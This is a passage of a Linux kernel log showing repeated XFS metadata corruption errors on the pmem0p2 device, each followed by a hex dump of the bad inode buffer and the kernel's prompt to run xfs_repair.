INA............. [ 87.669892] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669893] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669893] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669894] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669896] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669897] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669909] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669910] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669911] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669912] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669913] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669913] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669914] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669915] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669917] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669918] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669959] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669960] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669961] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669962] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669963] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669963] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669964] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669965] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669967] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669968] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669975] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669976] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669977] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669978] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669978] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669979] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.669980] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.669981] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.669982] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.669984] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.669995] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.669996] XFS (pmem0p2): Unmount and run xfs_repair [ 87.669996] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.669997] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.669998] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.669999] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670019] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670020] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670021] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670023] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670075] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670076] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670077] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670078] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670079] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670080] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670081] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670082] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670084] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670085] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670093] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670094] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670095] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670096] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670097] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670098] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670099] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670100] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670101] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670103] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670115] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670116] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670116] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670118] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670119] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670120] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670121] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670121] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670123] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670125] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670169] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670170] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670171] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670172] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670173] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670174] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670175] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670176] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670178] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670179] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670186] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670187] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670188] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670189] ffff8801f981e000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670190] ffff8801f981e010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670191] ffff8801f981e020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670192] ffff8801f981e030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670193] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670194] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670196] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670216] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670217] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670219] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670220] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670221] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670222] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670223] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670223] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670225] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670227] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670269] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670270] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670271] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670272] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670273] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670274] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670275] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670276] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670278] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670279] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670287] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670288] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670289] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670289] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670290] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670291] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670292] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670293] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670295] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670296] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670307] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670308] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670309] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670310] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670311] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670312] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670313] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670314] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670315] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670317] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670356] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670357] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670358] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670359] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670360] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670361] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670363] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670364] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670365] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670366] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670373] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670375] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670375] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670376] ffff8801fbaaa000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670377] ffff8801fbaaa010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670379] ffff8801fbaaa020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670381] ffff8801fbaaa030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670382] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670384] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670387] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670402] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670403] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670404] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670405] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670406] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670407] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670408] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670409] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670411] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670412] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670454] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670455] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670456] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670457] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670458] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670459] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670460] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670461] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670462] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670464] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670471] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670472] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670473] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670475] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670476] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670476] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670477] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670478] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670480] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670481] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670492] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670493] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670494] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670496] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670497] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670498] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670499] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670500] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670501] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670503] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670556] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670557] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670558] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670559] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670560] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670561] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670562] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670563] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670565] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670566] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670573] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670575] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670575] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670576] ffff8801fbaa8000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670577] ffff8801fbaa8010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670578] ffff8801fbaa8020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670579] ffff8801fbaa8030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670581] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670582] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670583] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670602] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670604] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670605] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670606] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670607] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670607] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670609] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670610] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670611] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670613] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670654] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670655] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670656] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670657] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670659] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670659] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670660] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670661] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670663] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670664] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670671] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670672] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670673] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670674] ffff88040e07f000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670675] ffff88040e07f010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670676] ffff88040e07f020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670677] ffff88040e07f030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670678] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670679] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670681] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670692] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670693] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670694] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670695] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670696] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670697] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670698] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670699] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670700] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670701] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670742] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670743] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670744] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670745] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670746] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670746] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670747] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670748] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670750] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670751] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670758] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670759] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670759] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670760] ffff8801fb9f0000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670761] ffff8801fb9f0010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670762] ffff8801fb9f0020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670763] ffff8801fb9f0030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670764] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670765] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670766] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670777] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670778] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670779] XFS (pmem0p2): First 64 bytes of corrupted metadata buffer: [ 87.670780] ffff8801fbaa9000: 49 4e 41 ed 02 01 00 00 00 00 00 00 00 00 00 00 INA............. [ 87.670780] ffff8801fbaa9010: 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 01 ................ [ 87.670781] ffff8801fbaa9020: 56 0e bd ba 06 0b a0 a2 56 0e bd ba 06 0b a0 a2 V.......V....... [ 87.670782] ffff8801fbaa9030: 56 0e bd ba 06 0b a0 a2 00 00 00 00 00 00 00 06 V............... [ 87.670783] XFS (pmem0p2): bad inode magic/vsn daddr 4718720 #23 (magic=907d) [ 87.670785] XFS (pmem0p2): metadata I/O error: block 0x480080 ("xfs_trans_read_buf_map") error 117 numblks 16 [ 87.670786] XFS (pmem0p2): xfs_imap_to_bp: xfs_trans_read_buf() returned error -117. [ 87.670825] XFS (pmem0p2): Metadata corruption detected at xfs_inode_buf_verify+0x86/0x150, block 0x480080 [ 87.670826] XFS (pmem0p2): Unmount and run xfs_repair [ 87.670827] XFS (pmem0p2): First 64 bytes of corrupted 